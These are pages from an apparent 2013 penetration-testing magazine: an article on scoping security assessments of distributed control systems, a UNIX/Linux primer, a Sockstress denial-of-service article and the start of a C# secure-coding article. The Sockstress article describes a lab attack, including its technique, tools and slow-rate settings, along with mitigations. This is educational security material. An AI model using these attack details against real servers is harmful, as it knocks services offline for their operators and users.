Human Machine Interfaces located in control The safety system will overrule the industrial con-
rooms or in remote locations connect to the trol system and force a safe state.
servers for monitoring operations, respond- The components of a safety system are for the
ing to alarms. These run on standard hardware most part identical to the distributed control sys-
and Windows or Unix, installed with proprietary tem: it has its own field instruments and control-
client software; ler. The controller of a safety system checks the
Depending on the vendor used, various oth- calculations of the controller of the distributed
er servers may exist for engineering or opera- control system.
tion purposes (human machine interface serv- The controller of a safety system differs from a
er, data historian, etcetera). These are off the normal controlled due to the additional integrity
shelf hardware running Windows (or Unix), in- features. Safety systems as a whole are graded
stalled with proprietary software. by their safety integrity level (SIL), and prior to op-
eration audited against the SIL ratings. The safety
integrity level required is determined by assessing
process risks.
It should be noted that hardwired safety sys-
tems also exist, meaning these safety systems are
not controller based. They are electrical/physical:
opening a safety protected door will cut power to a
robotic arm, thus shutting it down.
While a safe state will be achieved when a
safety system intervenes, this does not neces-
sarily mean it is reached in an elegant manner.
An example of a safety system trip most people
know of is an overloaded lift; it will lock in place
wherever that may be requiring rescue services
to get persons out. A safety trip is costly, requir-
ing the process controlled to be restarted which
is not a matter of clicking a button, but can take
days of (manual) work.
Many different distributed control system imple-
Figure 4. Distributed Control System setup mentations exist, of which a significant amount
is straightforward, but there is one less typical
Distributed control systems are typically deliv- implementation the reader needs to know about.
ered as a whole by one vendor, except for the This is what would be easiest described as a
field instruments. Most vendors support open layered distributed control system. An example
standards, allowing for interconnecting systems would be several distributed control systems im-
from other vendors. This is typically achieved us- plemented on a site level, and an overarching
ing OPC (Ole for Process Control or Open Pro- distributed control systems on top, monitoring
cess Communications). Instruments in a distrib- a complete region. This example may confuse
uted control system are fully integrated with the some, but it is still a distributed control system
rest of the system and the tolerance for loss of an integrated system centred around the pro-
communications with instruments is very small. cess controlled, continuously controlling and
As a result, an alarm will be generated if during a measuring this process.
controller scan communication instruments can- Having gained an understanding of how distrib-
not be contacted. uted control systems are used and their architec-
A distributed control system controlling a criti- ture, this knowledge can be utilized to create a list
cal process typically also has a safety instrumen- of items to consider when setting distributed con-
tation system running in parallel. The safety sys- trol system security assessment scope.

TBO 03/2013 Page 110 http://pentestmag.com


Setting distributed control system security Compromise of confidentiality may not be on
assessment scope the risk radar. If a product resulting from the
These are some items to consider to ensure an ef- process controlled is unique or is the result of
fective security assessment of a distributed control a proprietary formula, confidentiality of this for-
system implementation: mula will be of importance. Recipes (blending
or mixing) or blueprints (of products) are imple-
Safety is a top priority. Distributed Control Sys- mented in distributed control systems (directly
tems are typically located on plants and sites. or indirectly) or in connected applications (lab-
They may control dangerous processes or are oratory systems). Determine whether confiden-
located in dangerous areas. If going on site, tiality is a risk.
understanding area safety rules (which may in-
clude personal protective equipment PPE re- Summary
quirements) is absolutely key. The same goes By now, the reader will be aware of the basic
for knowing the site alarms (audible/visual) of function of industrial control systems, and SCADA
the area, and emergency evacuation proce- and DCS industrial control systems. All industrial
dures (muster points, paths, tests); control systems are in the heart of the business
Be aware of system availability requirements of controlling potentially dangerous processes, and
the implementation assessed. Wherever dis- safety is always a design consideration when en-
tributed control systems are implemented the gineering such systems. Critical components of
processes controlled have a very high priority these systems are the field devices and control-
to the business. Compromising availability will lers. SCADA itself is not critical, in fact it is de-
thus affect safety and cost the business a lot signed to cope with loss of communication. DCS
of money, directly by losing production/prod- field instrument to servers and workstation com-
uct or even indirectly by lost orders due to lack munication is critical, as these systems are not
of oversight of product availability or regulatory designed to cope with loss of communications.
requirements. Make sure you are aware of any Key to any industrial control system security as-
of these availability requirements; sessment is understanding the process controlled
Not all servers in a distributed control system and setup of the control system.
may be essential to controlling the process. By adding the knowledge gained from this article
Depending on the implementation some serv- to a normal office-IT security assessment meth-
ers may serve only engineering (tactical) pur- odology, most of the specifics of industrial control
poses. Determine the server roles (which vary systems will be catered for, allowing for effective
per vendor) and its criticality to controlling the assessment of security. Further reading into the
process; workings of industrial control systems is encour-
Changes to distributed control systems usually aged, and will make you a better security assessor.
follow site management of change (MOC) pro-
cedures. Distributed control systems are usual-
ly maintained by engineers or vendors: non-IT
staff. They typically follow strict management
of change procedures (non-IT), which include
operations approval. Engage with staff involved
in these procedures to make them aware of the
security assessment. Knowing these proce-
dures will also provide insight in how the dis-
tributed control system itself is managed;
Wireless communications are used throughout
distributed control systems. These are com- Jeroen Hirs
modity wireless access points, setup by ven- An automation engineer with an unusual background,
dors. As these are of interest from a security Jeroen previously worked as a security consultant/ audi-
perspective, it is essential to understand the tor at a leading risk consulting firm. He has experience in
support model of these devices local support both engineering and assessing security of DCS and SCA-
or outsourced; DA implementations.

TBO 03/2013 Page 111 http://pentestmag.com


Introduction to UNIX
and LINUX
UNIX is a multiuser operating system which is available in many
flavours like Oracle Solaris, HP UNIX, IBM AIX, Free BSD, and MacOS.
It was developed by Ken Thompson and Dennis Ritchie at AT&T Bell
Laboratories in the late 1960s. In 1978 AT&Ts UNIX seventh edition
was split off into Berkeley Software Distribution (BSD).This version of
the UNIX environment was sent to other programmers around the
country, who added tools and code to further, enhance BSD UNIX.

T
he most important enhancement made to File System
the OS by the programmers at Berkeley was File system is a logical collection of a file and direc-
adding networking capability. This enabled tory on a partition or a disk. It has a root directory,
the OS to operate in a local area network (LAN). which further contains all files and directories in an
In 1988, AT&T UNIX, BSD UNIX, and other UNIX operating system. The root directory is identified
OSs were folded into what became System V re- as /. Each file or directory is identified by its name
lease 4 (SVR4) UNIX. This was a new generation and a unique identifier known as Inode number.
OS, which became an industry standard. The new
SVR4 UNIX became the basis for not only Sun and
AT&T versions of the UNIX environment, but also
IBMs AIX and Hewlett-Packards HP-UX.
UNIX was constructed with following mecha-
nism:

Kernel
Kernel is the core/heart of OS and responsible for
all the processing in computer. It manages all the
physical resources of the computer including file-
systems, CPU, memory, etc.
Figure 1. Directory structure
Shell
Shell is a command interpreter and act as an in- Process
terface between the system and the user. Shell Every program you run or execute in UNIX/Linux
accepts the command and pass is to the ker- creates a process. When you log in to the system
nel, which further executes the command. In Or- and start the shell. Several processes will be start-
acle Solaris 11 and Oracle Enterprise Linux the ed, depending on the associated programs in login
default shell is bourn again shell, which is also shell. Whenever you execute in command in the
known as bash. shell, it will start a process. And a process can fur-

TBO 03/2013 Page 112 http://pentestmag.com


ther start another process. In that case the process Late in 1991, Linus Torvalds had his kernel
which has started another process will be known and a few GNU programs wrapped around it so
as a parent process. You can use following com- it would work well enough to show other people
mands in UNIX/Linux to monitor and manage the what he had done. And thats what he did. The
process: Ps, top, prstat, pgrep. first people to see Linux knew that Linus was on
Solaris and HP UNIX are widely used flavours of to something. At this point, though, he needed
UNIX. Since` UNIX was developed, many features more people to help him. Heres what Linus had
and tools have been added to different flavours of to say back in 1991.
UNIX. Like Journaling file system, ZFS, DTrace, People all over the world decided to take him
enhanced packaging system like IPS, Solaris Vol- up on it. At first, only people with extensive com-
ume manager (which was earlier know as Solstice puter programming knowledge would be able to
Disk Suite). do anything with that early public version of Linux.
These people started to offer their help. The ver-
What is Linux? sion numbers of Linux were getting higher and
Linux is a UNIX like operating system that evolved higher. People began writing programs specifical-
from a kernel created by Linus Torvalds when he ly to be run under Linux. Developers began writ-
was a student at the University of Helsinki. When ing drivers for different video cards, sound cards
Linus Torvalds was studying at the University of and other gadgets inside and outside your com-
Helsinki, he was using a version of the UNIX oper- puter could use Linux. Nevertheless, throughout
ating system called Minix. Linus and other users most of first part of the 1990s Linux did not get
sent requests for modifications and improvements out of the Expert level stage. Expert is a term
to Minixs creator, Andrew Tanenbaum, but he felt that has evolved to mean anyone who has spe-
that they werent necessary. Thats when Linus cial expertise in a particular subject. That is, you
decided to create his own operating system that had to have special expertise in how computers
would take into account users comments and sug- worked to be able to install Linux in those days.
gestions for improvements. The main component Linux, at first, was not for everyone.
of Linux is Linux kernel. The first Linux kernel was
released by Linus Torvalds on 5th October 1991.

Figure 3. Centos

Linux was initially developed as a free Operating


system for x86 based computers. It was then de-
veloped further for more computer hardware plat-
forms. It is one the leading operating systems on
Servers, such as mainframe computers and super
computers. Programmers around the world con-
tribute to add more features to different flavours of
Linux. Because Linux is an open source operating
system, programmer can use the source code and
develop their own Linux flavour. Different Linux can
be downloaded from number of websites such as:

Figure 2. Linus Torvalds


Centos (www.centos.org)
Fedora (www.fedoraproject.org)

TBO 03/2013 Page 113 http://pentestmag.com


Redhat (www.redhat.com) An Oracle Solaris 11 Terminal window will then
SUSE (www.suse.com) appear with a $ prompt, then you can start enter-
Ubuntu (www.ubuntu.com) ing the commands.
Oracle Solaris 11 Desktop:
Who should use UNIX/Linux?
Companies or system administrators, who have
big servers in their environment and need stability,
scalability, security and high performance for their
servers they should use UNIX/Linux operating sys-
tems. UNIX/Linux operating system uses very less
resources in comparison to any other operating
systems. UNIX/Linux has got many enhanced se-
curity features like SELinux, IP tables, TCP wrap-
pers, ACLs, Dtrace and many more.

How to start terminal in Oracle Solaris 11?


To open a terminal window in Oracle Solaris 11,
right click on the Desktop and left click on Open
Terminal option in the menu.

Figure 6. Oracle Solaris 11 Desktop

Installation Options for Oracle Solaris 11


(Flavour of UNIX)
You have several alternatives for where to install
Oracle Solaris 11:

Inside a virtual machine on top of your existing


operating system
On the bare metal (physical machine) as a
standalone operating system
On the bare metal alongside your existing oper-
ating system(s) (multiboot / dual boot scenario)

Figure 4. Oracle Solaris 11 Desktop Menu Installing Oracle Solaris 11 inside a Virtual
Machine with Live CD
The easiest way to start using Oracle Solaris 11 is
to install it into a virtual machine on top of host op-
erating system running on physical machine. Fig-
ure below shows Oracle Solaris 11 installed on Ap-
ple OS X using Oracle VM Virtual Box.
Oracle Solaris 11 will recognize the virtualized
devices that the virtual machine provides. If you
run Oracle Solaris 11 in full-screen mode, you
might actually forget that theres another operating
system running behind.
The one drawback to this approach is that
you need enough memory to run two operat-
ing systems simultaneously a minimum of
2 GB is recommended for good performance.
You should also allow a minimum of 7 GB of
disk space to install the operating system in
Figure 5. Terminal window
virtual machine.

TBO 03/2013 Page 114 http://pentestmag.com


After the installation process is complete, you
can reboot into your new Oracle Solaris environ-
ment or review the Oracle Solaris installation log,
as shown in Figure 9.

Figure 7. Oracle Solaris on Apple OS X


Oracle VM VirtualBox is a free-to-download virtu-
alization application that can run on Microsoft Win-
dows, Apple OS X, Linux, and Oracle Solaris x86
as host platforms, and supports most of the flavour
of Linux like Redhat & Oracle Enterprise Linux as
guest OS. It also supports Oracle Solaris as one Figure 9. Reviewing the Installation Log
of its many guests. Oracle makes it easy to try this
approach by offering a number of preinstalled vir- Now you are ready to lounche your work.
tual machines for Oracle VM VirtualBox as appli-
ances and VM templates that are focused towards
a specific use, for example, to evaluate the devel-
oper tools that are available on Oracle Solaris 11.
After you have booted off the Live Media, the in-
stallation process is straightforward. Simply click
the Install Oracle Solaris icon on the desktop to
launch the graphical installer, shown in Figure 8.

About the Author


Nitin Kanoija has 8+ years of
experience in IT industry with
core expertise in Unix/Linux
and Veritas. He is currently
working as Senior Corporate
Figure 8. The Oracle Solaris 11 Graphical Installer Trainer with Koenig Solutions
Ltd. Nitin posses vast experi-
As you can see from above Figure, the installa- ence on Unix/Linux, Oracle Vir-
tion process is simple and asks some basic ques- tualization & Clustering technologies and has also han-
tions before installing a fixed set of packages. After dled several projects which demand in-depth knowl-
Oracle Solaris has successfully been installed, you edge of Unix/Linux and clustering. Nitin is Sun Certified
can easily customize the installation by using the System Administration Certification (SCSA) & Sun Certi-
Package Manager. fied Network Administration Certification (SCNA).

TBO 03/2013 Page 115 http://pentestmag.com


BONUS

A Denial of Service
Primer via Sockstress
Effective. Efficient. Lean and Mean. These words can all be used
to describe Sockstress: a type of Denial of Service attack that
zeroes right in via TCP to wreak havoc on large or small systems.
The idea behind Sockstress is simple: where there is a TCP stack,
there is inherent vulnerability. In this article we are going to
examine a bit of the history of this interesting attack and explore
its more recent use.

W
e will also describe our execution of the Often denial of service attacks are associated
attack that was set up in a laboratory en- with overwhelming the bandwidth capabilities of
vironment to measure the effectiveness websites in order to bring them down and this is
of this as a Denial of Service (DoS) attack tool. still a popular option. Usually this type of attack
must rely on connections made by many differ-
The DoS-Sockstress Connection ent machines that are typically members of bot-
One of the most popular types of attack on infor- nets. This is known as a Distributed Denial of
mation systems is a Denial of Service attack, which Service, or DDoS attack. Sockstress, on the oth-
may take on any number of vectors and guises. er hand, does not require tremendous amounts
An attacker may want to reduce or completely de- of bandwidth to do its job. It also does not need
ny service indefinitely, or just cause some level of to have thousands of computers making connec-
grief at the target. Many DoS options are available tions in order for it to be successful. Depending
to the attacker; some have been around for a while on the number of connections made to the end
and have generally been mitigated, though new point service, the attack may render its destruc-
ones do emerge periodically. tive force quickly to smaller websites which do
Sockstress is a denial of service attack that was not have the luxury of load balancing across a
announced in 2008 and which comes in half a doz- number of servers.
en varieties. As with other vulnerabilities, Sock-
stress capitalizes on abusing functionality of ex- Not Your Typical DoS Attack
isting technology in a way that was not originally Denial of Service attacks still pop onto the ra-
intended. Although this particular attack has been dar of service providers periodically just when
well known and documented for some time it still service usage is expected to be high. As an ex-
has the ability to cause trouble in large or small ample, sporting events and gambling go hand in
systems. In order to really understand how this at- hand, and give a terrific example of when DoS
tack works, a small laboratory system is going to or DDoS attacks are going to happen. Attackers
be subjected to Sockstress in order to show a pro- know when websites that have anything to do
gression of the effects of the attack so that it can with these events are going to experience high
be thoroughly understood. usage well ahead of time and can plan accord-

TBO 03/2013 Page 116 http://pentestmag.com


ingly. DoS and DDoS attacks may come from tens gain some understanding of large scale denial of
or hundreds of thousands of botnet participants service attacks by recalling a recent example.
overwhelming all but the largest bandwidth pipes.
Many of these attacks come with a warning that Spamhouse: Large Scale DDoS Example
the attack will occur unless a protection fee is Denial of service attacks can take on a whole dif-
paid by the target. If the fee is not paid the attack ferent dimension than the test example given here.
is launched. Not all denial of service attacks have During March of this year Spamhaus experienced
a target to overwhelm just the available band- a DDoS attack that dwarfed any previously record-
width, however. ed at up to 300 Gbps. Spamhaus supplies service
providers with lists of Internet content providers
How Does It Work? which it considers as spammers. Several differ-
Sockstress denies service by establishing TCP ent block lists are provided by Spamhaus which
connections with a target server, and then post- include those listing organizations, exploits, poli-
poning the delivery of data from the server to the cies, and domains. Obviously, when one organiza-
client. The attack originates from multiple clients tion places another on a block list there are going
that repeatedly make connections to the server to be some hurt feelings. And sometimes hurt feel-
and then follow a pattern of deferring data trans- ings result in retaliation.
mission. At the completion of the SYN, SYN-ACK, As a direct result of the lists that it publishes,
ACK TCP three way handshake the client tells the Spamhaus was attacked for more than a week with
server that its buffers are full forcing the server to a distributed denial of service attack which capital-
hold on to the data it is ready to send. Buffers are ized on vulnerabilities within the DNS system. DNS
temporary storage capacity used in data trans- flood attacks work by spoofing much of the infor-
mission, and in the TCP protocol buffer sizes are mation in packets including source and destination
referred to as window sizes. At this point the serv- IP addresses. One of the methods used in this par-
er will politely poll the client periodically to see if ticular attack is known as reflection and amplifica-
its window size has increased thereby allowing tion, in which a request is made for a large amount
it to continue sending its payload. Unfortunately of DNS information by a client whose source IP ad-
for the server, Sockstress clients hold the win- dress had been spoofed to that of the target. Since
dow size down at or near zero forcing the server the source IP address had been spoofed to that of
to commit the data to memory. As the number of the victim the large amount of information is sent
connections grows the servers resources gradu- to the target.
ally become consumed. The test described in this Bandwidth requirements of the attacker are small
article will clearly show a gradual consumption of compared with what the destination site needs to
RAM on the server as connections are made in handle large volumes of incoming information.
this fashion. Powerful implementations of Sockstress will use a
technique of ARP spoofing in which many IP ad-
Lean and Mean dresses are assigned to a single MAC address
Intrusion detection systems (IDS) are configured from a virtual machine. This strategy allows a sin-
to look for high bandwidth usage or many con- gle machine to make many connections from dif-
nections coming from a single IP or block of IPs ferent IP addresses and has the added benefit of
in order to thwart such attacks. Sockstress does protecting the kernel of the host computer from be-
not need to make thousands of connections per ing overwhelmed with connection data.
second in order to be effective. Small businesses DDoS attackers often employ large armies of
are especially vulnerable to these types of ex- bots or zombie computers as part of their net-
ploits because though they may have an intrusion work which are called a botnets. The own-
detection or prevention system, they often do not ers of these zombie computers generally have
have someone sitting at the ready to respond to no idea that they are participants in the botnet.
alarms or notice the evaporating resources. A pa- When the master of the botnet sends out an or-
tient, measured exploit like Sockstress can slow der for these computers to connect to the target
a small group of servers over a surprisingly short with specially crafted packets they create a flood
period of time, most likely before a small busi- of traffic which cannot be handled by the vic-
ness could react to it. Before we get into the de- tim site. This is the situation in which Spamhaus
tails of Sockstress though, lets take a minute to found itself.

TBO 03/2013 Page 117 http://pentestmag.com


BONUS
When Spamhaus realized they were the target look for the signatures of Sockstress and its vari-
of an attack they enlisted the help of Cloudflare ants. Metrics these tools look for include TCP
in order to distribute the attack out across the da- flags, timers, and window sizes which indicate
ta centers which Cloudflare maintains worldwide. that an attack is in progress. Several resources
The Spamhaus site did go down for some time, rely on the number of connections made by a
but thanks to the available Cloudflare bandwidth single IP or group of IPs over time or the amount
capacities the attack was diverted to their facili- of bandwidth being consumed. When an attack
ties and was prevented from fully reaching Spam- is registered the protection system has a few dif-
haus, with the attacking traffic eventually being ferent options in how it mitigates the loss of re-
discarded. sources. Generally, as resource consumption
ramps up connections will begin to be shed in
Sockstress: the New Kid on the DoS Block the attempt to recover.
Denial of service attacks such as the Spamhaus
attack have been around for years, and many of Leaving a Mess Behind
them have been rendered largely ineffectual. How- The trouble is in the damage that Sockstress
ever, new vulnerabilities always surface. In 2008 leaves behind even after it has been subverted.
Jack Lewis and Robert E. Lee demonstrated Sock- During the testing performed for this article, it was
stress, which was a new breed of stateless TCP noted that the server attacked did recover some of
attack during a T2 conference in Finland after the memory resource it had lost during the attack,
working with vendors regarding treatment of the but the recovery was weak and slow and most of
vulnerability. Additionally, the news was diffused the memory was unrecoverable until a reboot was
to some degree because according to vendors accomplished.
such as Juniper, similar vulnerabilities within TCP Even after an hour of sitting idle the server still did
known as stateless attacks already existed: Net- not recover very much of the RAM which was con-
kill, Ndos, and NAPTHA. Further, Juniper ensured sumed during the test.
administrators that their equipment is not subject There are a few fine examples of Sockstress at-
to long term damage and that it will work properly tacks available on the Internet which show serv-
after being restarted or rebooted as required (Juni- ers quickly falling under the weight of a deluge of
per Networks, 2013). connections. Additionally, it is mentioned that TCP
connections need to be made from within an ap-
Sockstress Gains Recognition: Security plication in order to avoid clogging up and over-
Fights Back whelming the attacking system.
When the exploit was brought to the publics at- When we designed our Sockstress scenario,
tention there was a flurry of activity concerning rather than go over what is already known we set
it due to the dominance of TCP across all fac- out to see what kind of damage we could do to a
ets of the Internet and local systems. Eventually server with far fewer connections and much less
it was given a CVE identifier of CVE-2008-4609 bandwidth. As was previously stated, the attack
(Mitre, 2008). Many hardware and software man- forces servers to accumulate and hold allocated
ufactures immediately recognized the threat im- memory for some period of time, perhaps even
posed by Sockstress but were also conscious of indefinitely.
the fact that the problem lies in TCP stack imple- Given that a server under attack is forced to hold
mentations. Recommended remediation tech- onto memory dedicated for TCP connections, our
niques included whitelisting, placing limitations goal was to see how long it would take to con-
on TCP connections such as number of connec- sume a given amount of RAM using a relatively
tions made, or following best common practices small number of connections. Also, there is a good
regarding TCP based DoS attacks. Cisco for one, deal of documentation from manufacturers regard-
recommends using whitelisting through ACLs ing the fact that systems often require a restart or
and control plain policing for critical infrastructure reboot after an attack. While we did take the at-
(Cisco, 2009). tack to the point of absolute server failure, we also
Other mitigation and remediation techniques wanted to let the attack progress for a while and
are available that address the stateless TCP at- then discontinue making new connections to see
tacks from hardware and software manufactur- if the server would recover from a point other than
ers. Techniques vary, but they are designed to an unresponsive state.

TBO 03/2013 Page 118 http://pentestmag.com


Our Sockstress Experience: The Before execution of the exploit the aggressor
Degradation of Server Performance machine resources were 24% for the CPU, and
The computer we used as the aggressor is a Win- 32% of memory used. Once the attack was under
dows 7 Professional system using a virtual ma- way CPU usage only jumped to 57%, with memory
chine to run Slackware 10.2. The Slackware instal- usage at 48%, and bandwidth at 11 Mbps. The at-
lation used suggested a small amount of RAM at tacking computer remained responsive throughout
only 256 MB, which is what we went used. After all, the attack and resource usage did not appreciably
the attacking system should not be taxed too heav- climb any higher. The story is a little less rosy for
ily to run the attack, so why not give a minimal sys- the server though.
tem a try? As it turns out it worked just fine. The first screenshot of the server is taken about
In order to run Sockstress effectively, ARP one minute into the attack. Even at this point Sock-
spoofing is needed. Many sources suggested stress has already consumed about 71 percent of
using fantaip, but there also seems to have been the servers RAM.
some trouble getting it to work properly. Fortu-
nately an excellent spoofing tool had been doc-
umented in use with Sockstress by educator/
researcher Sam Bowne called arppoi (Bowne,
2013). Figure 2. Attack 1 minute
The system under attack ran Ubuntu server
12.04.3 with 512 MB of RAM. Server roles includ- At about eight minutes Sockstress had already
ed SSH, a LAMP stack, and a few others to give a taken 98.8 percent of the Servers RAM making it
good host of services to connect with as shown all but useless. Here the attack was discontinued
in the screenshot below. because the server would no longer respond.

Figure 3. Attack 8 minutes

About 13 minutes after shutting the attack down,


the server is still unable to be responsive, with 90
percent of RAM still unavailable. Although the test
was discontinued before the server totally crashed,
the point is that the server is still unresponsive.

Figure 1. Network Map

The server used in this test was not protected


by any settings or applications used to mitigate Figure 4. Attack 13 minutes
Sockstress. A slow attack scenario was used with
connections coming in at just a few connections After allowing about 45 minutes to pass to see if
per second. To further slow the attack, the original the server could recover any of its resources and
window size was set to less than 6000 bytes. TCP continue operating there was no improvement on
windows can be up to 65,535 bytes in length giving the server side.
a wide berth for any scenario. An attack such as
the one in the test which has few connections per
second is going to be harder to detect by an IDS/
IPS than one which is cramming thousands of con-
nections per second through the pipe. Detection Figure 5. Attack 45 minutes
that is configured to look for zero windows would
still be an effective mitigation but simply varying At this point it was obvious that there was no
the window size would cause more trouble for the choice but to shut the server down and reboot it in
detection system. order to recover any functionality.

TBO 03/2013 Page 119 http://pentestmag.com


BONUS
Even though the test uses a fairly small number transmission protocols such as UDP. Quite sim-
of connections per second it still only took about ply, Sockstress works because it uses basic TCP
eight minutes for the server to become almost functionality to stop proper functioning.
completely unresponsive. Surprisingly the server
did not gain back any appreciable amount of RAM,
even when given 45 minutes to sit and recover.
During other test runs the attack would be stopped
after a minute or two in order to allow the server to
recover. Some of these tests would consume the
servers resources faster than others, but each run
still ended up having the same effect; a dead serv-
er. This screenshot is taken after only two minutes
during another attack. At termination it had already
consumed about 84 percent of the servers RAM:

Figure 6. Attack Termination

The test was terminated immediately after taking


the screenshot above, but the server was still slug-
gish and for the most part unusable. Again, even
giving the server time did not allow it to recover
much of its functionality. The only option to recov-
er every time was to restart the server. An attack
such as this to take out a server in just a couple of Tim Hoffman
minutes is very dangerous for almost any provider President, Alida Connection has co-authored 4 technical
who cannot stop or mitigate the threat. books including two on TCP/IP, the Network+ Certifica-
tion Guide and the MS Proxy Server 2.0.
Conclusion
Why does TCP allow this type of activity to take Angela Hoffman
place? It has to allow flow control functionality in Angela Hoffman is the Director of Learning, Alida Con-
order to maintain control of how fast information nection and Roger Coon and Charles Chapman are help-
flows to and from endpoints. Flow control is im- ing to provide technical training and security services
portant for TCP because the protocol itself does including our online Applied Penetration Testing class.
not oversee the path as data flows from point A to We provide training for new or seasoned profession-
point B. Up to this point we have only mentioned als who wish to hone their skills and increase their mar-
the client and server as participants in the flow ketability. This article is just a part of a series of articles
of data. As data packets traverse from network in which we cover basic and intermediate level skills in
to network they may have to travel through any penetration testing. Pen testing is an exciting field of in-
number of routers along the path. Each of these formation technology in which the pen tester helps or-
routers is going to have limitations to how much ganizations identify and then repair weaknesses in cus-
traffic they can handle depending on the size of tomer systems.
its memory buffers, and at some point any one Our slogan is Knowledge to Empower People. If you
of them may need to invoke TCPs flow control are interested in learning more, please contact Alida
mechanisms as well. If TCP is not able to slow Connection at https://www.alidaconnection.com/. We
down or speed up data transmission through flow are your connection to a profitable future in Informa-
control there will be no way to effectively ensure tion Systems Security.
reliability. TCP simply has to have mechanisms in
place to control how fast data is transmitted if it
has any hope of ensuring reliable delivery, which
is the whole point of using TCP over unreliable

TBO 03/2013 Page 120 http://pentestmag.com


BONUS

Secure Coding
in C# .NET
As all of us programmers go day by day, writing more and more
code, improving whats already written and developing new and
improved code, we devote our time and effort to writing software
that will do the work for us and for our customers. As the industry
relays on speed and efficiency, we put great effort in optimizing
performance, creating eye-appealing and stylish GUI (Graphical
User Interface), and use state-of-the-art technology to attract as
many buyers for our products.

H
owever, even though the above is impor- Confidentiality prevents sensitive information
tant, at times there is a concept that is of- from reaching the wrong people, while making
ten disregarded and overlooked, Secure sure that the right people can in fact get it. A
Code writing. good example is an account number or routing
As the name implies, Secure Coding refers to the number when banking online. Data encryption
idea that software almost always contains flaws is a common method of ensuring confidential-
in either the design, or the internal functions that ity. User IDs and passwords constitute a stan-
could lead to security breaches and be exploited dard procedure; two-factor authentication is
by hackers and crackers. becoming the norm and biometric verification
Now, the magnitude of such a thing can be mini- is an option as well. In addition, users can take
mal to catastrophic in terms of the damage that is precautions to minimize the number of places
done. where the information appears, and the num-
In other words, we can consider severity of dam- ber of times it is actually transmitted to com-
age as the effect that is caused upon exploitation. plete a required transaction.
Does the damage apply just for the user, or are Integrity involves maintaining the consistency,
others being affected by it, or can it bring down an accuracy, and trustworthiness of data over its
entire enterprise? Even though it might seem odd entire life cycle. Data must not be changed in
that computer software can take down an entire transit, and steps must be taken to ensure that
enterprise, we need to remember that a lot of to- data cannot be altered by unauthorized people
days day to day businesses and activities are do- (for example, in a breach of confidentiality). In
ne using computers, such as e-commerce, online addition, some means must be in place to de-
banking, cloud services, etc. tect any changes in data that might occur as a
Its important to note that secure programming result of non-human-caused events such as an
applies to all programming languages. electromagnetic pulse (EMP) or server crash. If
Some issues that are addressed by security are an unexpected change occurs, a backup copy
confidentiality, integrity, and availability (CIA) (Tak- must be available to restore the affected data
en from Whatis.com) to its correct state.

TBO 03/2013 Page 122 http://pentestmag.com


Availability is best ensured by rigorously main- I will try to address both development stage se-
taining all hardware, performing hardware re- curities (in the SDL model) as well as code itself
pairs immediately when needed, providing a (with examples).
certain measure of redundancy and failover, The Security Development Lifecycle (SDL) is a
providing adequate communications band- software development process that helps develop-
width and preventing the occurrence of bottle- ers build more secure software and address se-
necks, implementing emergency backup pow- curity compliance requirements while reducing de-
er systems, keeping current with all necessary velopment cost (Microsoft).
system upgrades, and guarding against mali- Microsoft suggest that SDLC should be integrat-
cious actions such as denial-of-service (DoS) ed in every step of software development.
attacks. Starting from training the personnel with security
in mind, going through the software design, imple-
Microsoft suggests that the following will be tak- mentation, QA, release and post-release.
en into consideration in each developed software The following will focus on some of the .NET of-
or system: fered services and security.
As a general rule of thumb, we do not fully trust
Spoofing Changing your identity to either information that is not in our control such as user
trick or perform some kind of malicious activity. input and using an external module or API.
Information Sabotage Corrupting, changing The reason for this is that we cannot assure that
or deleting information that could potentially the information comes from a reliable source.
provide inaccurate results, such as for medical
data or banking. Managed and Unmanaged Code Issues
Denial The ability to perform malicious activi- Managed code is a code that has its execution
ty without leaving evidence and minimizing the managed by the .NET Framework Common Lan-
ability to prove the activity, usually due to incor- guage Runtime.
rect logging. The .NET CLR provides services with the follow-
Information Disclosure The ability to expose ing benefits:
secret and confidential information to the public
or to be used for blackmail. Performance improvements.
Denial of Service The ability to disrupt the The ability to easily use components devel-
ongoing service providence, ranging from tem- oped in other languages.
porary to permanent, and from little to severe Extensible types provided by a class library.
damage. Language features such as inheritance, inter-
Privilege Escalation The ability to obtain bet- faces, and overloading for object-oriented pro-
ter and more privileged permissions to be able gramming.
to cause more damage, such as obtaining Do- Support for explicit free threading that allows
main Admin in Active Directory environment. creation of multithreaded scalable applications.
Support for structured exception handling.
This article will focus on some of those issues Support for custom attributes.
and will try to provide a different and more secure Garbage collection.
approach, as the goal is to bring security a few Use of delegates instead of function pointers
steps forward. for increased type safety and security.
In my opinion, lack of security is caused by two
main causes: In contrast, unmanaged code offers the following
benefits:
Lack of knowledge The programmer or de-
signer has inefficient knowledge regarding se- Maximum speed of execution. The managed lay-
cure coding or even security in general. er adds around 10% overhead to tze program.
Finding security of lesser importance Could Maximum flexibility. Some features of some
be within the life cycle of the software that se- APIs are unavailable through the managed li-
curity issues are not brought up and are not brary. Using unmanaged APIs from a managed
handled in the development. code program is possible but more difficult,
and introduces its own performance issues.

TBO 03/2013 Page 123 http://pentestmag.com


BONUS
However, working in an unmanaged code can Normally, we can set inheritance level permis-
provide security issues: sions (Private, Public, etc.), but its hard to restrict
access to a function for different cases, mainly
Buffer Overflow. when we look at more of a global approach. That
Arbitrary Code Execution. is to say, not only which class can access the code,
Memory Leak. but which person or entity can run a particular func-
Much more. tion in a code, or even, deny other code to run our
code if it does not comply with our requirements.
For example, Buffer Overflow can be caused by This is .NET comes into action with CAS.
the following: Code Access Security (CAS), in the Microsoft
.NET framework, is Microsofts solution to prevent
Using the unsafe keyword that allows pointers. untrusted code from performing privileged actions.
Unsafe code is just as easy to get wrong, as When the CLR loads an assembly, it will obtain
pointer based code in C or C++. evidence for the assembly and use this to identify
Using unsafe APIs, such as the methods from the code group that the assembly belongs to.
the Marshal class. A code group contains a permission set (one or
Maximum speed of execution. The managed lay- more permissions). Code that performs a privileged
er adds around 10% overhead to the program. action will perform a code access demand which
Maximum flexibility. Some features of some will cause the CLR to walk up the call stack and ex-
APIs are unavailable through the managed li- amine the permission set granted to the assembly
brary. Using unmanaged APIs from a managed of each method in the call stack. The code groups
code program is possible but more difficult, and permission sets are determined by the adminis-
and introduces its own performance issues. trator of the machine who defines the security policy
(Wikipedia). CAS performs the following:
Consider the code in Figure 1.
Defines permissions and permission sets that
represent the right to access various system
resources.
Enables administrators to configure security
policy by associating sets of permissions with
groups of code (code groups(.
Enables code to request the permissions it re-
Figure 1. Unsecure unmanaged Buffer Overflow example quires in order to run, as well as the permissions
The example in Figure 1 shows a buffer over- that would be useful to have, and specifies which
flow that will occur when the iteration reaches permissions the code must never have.
